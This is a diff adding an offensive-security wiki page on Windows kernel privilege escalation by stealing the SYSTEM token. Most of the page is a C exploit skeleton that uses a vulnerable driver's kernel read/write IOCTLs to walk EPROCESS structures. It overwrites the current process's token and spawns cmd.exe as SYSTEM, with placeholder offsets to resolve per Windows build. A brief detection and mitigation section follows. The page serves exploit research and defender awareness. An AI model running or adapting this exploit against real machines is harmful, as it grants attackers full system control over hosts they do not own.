|
| 1 | +# Windows kernel EoP: Token stealing with arbitrary kernel R/W |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS. |
| 8 | + |
| 9 | +Why it works: |
| 10 | +- Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object). |
| 11 | +- The SYSTEM process (PID 4) holds a token with all privileges enabled. |
| 12 | +- Replacing the current process’ EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately. |
| 13 | + |
| 14 | +> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags). |
| 15 | +
|
| 16 | +## High-level steps |
| 17 | + |
| 18 | +1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess. |
| 19 | + - From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases. |
| 20 | + - Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address. |
| 21 | +2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS. |
| 22 | +3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both: |
| 23 | + - EPROCESS_SYSTEM (for SYSTEM) |
| 24 | + - EPROCESS_SELF (for the current process) |
| 25 | +4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). |
| 26 | + - Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask). |
| 27 | +5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent. |
| 28 | + - Token_ME = *(EPROCESS_SELF + TokenOffset) |
| 29 | + - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) |
| 30 | +6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive. |
| 31 | +7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm. |
| 32 | + |
| 33 | +## Pseudocode |
| 34 | + |
| 35 | +Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface. |
| 36 | + |
| 37 | +```c |
| 38 | +#include <Windows.h> |
| 39 | +#include <Psapi.h> |
| 40 | +#include <stdint.h> |
| 41 | + |
| 42 | +// Device + IOCTLs are driver-specific |
| 43 | +#define DEV_PATH "\\\\.\\VulnDrv" |
| 44 | +#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 45 | +#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 46 | + |
| 47 | +// Version-specific (examples only – resolve per build!) |
| 48 | +static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies |
| 49 | +static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies |
| 50 | +static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies |
| 51 | + |
| 52 | +BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) { |
| 53 | + struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret; |
| 54 | + in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE); |
| 55 | +} |
| 56 | +BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) { |
| 57 | + struct { uint64_t addr, val; } in; DWORD ret; |
| 58 | + in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL); |
| 59 | +} |
| 60 | + |
| 61 | +// Get ntoskrnl base (one option) |
| 62 | +uint64_t get_nt_base(void) { |
| 63 | + LPVOID drivers[1024]; DWORD cbNeeded; |
| 64 | + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) { |
| 65 | + return (uint64_t)drivers[0]; // first is typically ntoskrnl |
| 66 | + } |
| 67 | + return 0; |
| 68 | +} |
| 69 | + |
| 70 | +int main(void) { |
| 71 | + HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); |
| 72 | + if (h == INVALID_HANDLE_VALUE) return 1; |
| 73 | + |
| 74 | + // 1) Resolve PsInitialSystemProcess |
| 75 | + uint64_t nt = get_nt_base(); |
| 76 | + uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build |
| 77 | + |
| 78 | + // 2) Read SYSTEM EPROCESS |
| 79 | + uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS); |
| 80 | + |
| 81 | + // 3) Walk ActiveProcessLinks to find current EPROCESS |
| 82 | + DWORD myPid = GetCurrentProcessId(); |
| 83 | + uint64_t cur = EPROC_SYS; // list is circular |
| 84 | + uint64_t EPROC_ME = 0; |
| 85 | + do { |
| 86 | + uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid); |
| 87 | + if ((DWORD)pid == myPid) { EPROC_ME = cur; break; } |
| 88 | + uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink); |
| 89 | + cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD |
| 90 | + } while (cur != EPROC_SYS); |
| 91 | + |
| 92 | + // 4) Read tokens |
| 93 | + uint64_t tok_sys, tok_me; |
| 94 | + kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys); |
| 95 | + kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me); |
| 96 | + |
| 97 | + // 5) Mask EX_FAST_REF low bits and splice refcount bits |
| 98 | + uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds |
| 99 | + uint64_t tok_new = tok_sys_mask | (tok_me & 0x7); |
| 100 | + |
| 101 | + // 6) Write back |
| 102 | + kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new); |
| 103 | + |
| 104 | + // 7) We are SYSTEM now |
| 105 | + system("cmd.exe"); |
| 106 | + return 0; |
| 107 | +} |
| 108 | +``` |
| 109 | +
|
| 110 | +Notes: |
| 111 | +- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly. |
| 112 | +- Mask: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Keeping the original low bits from your token avoids immediate refcount inconsistencies. |
| 113 | +- Stability: Prefer elevating the current process; if you elevate a short-lived helper you may lose SYSTEM when it exits. |
| 114 | +
|
| 115 | +## Detection & mitigation |
| 116 | +- Loading unsigned or untrusted third‑party drivers that expose powerful IOCTLs is the root cause. |
| 117 | +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules can prevent vulnerable drivers from loading. |
| 118 | +- EDR can watch for suspicious IOCTL sequences that implement arbitrary read/write and for token swaps. |
| 119 | +
|
| 120 | +## References |
| 121 | +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) |
| 122 | +- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html) |
| 123 | +
|
| 124 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments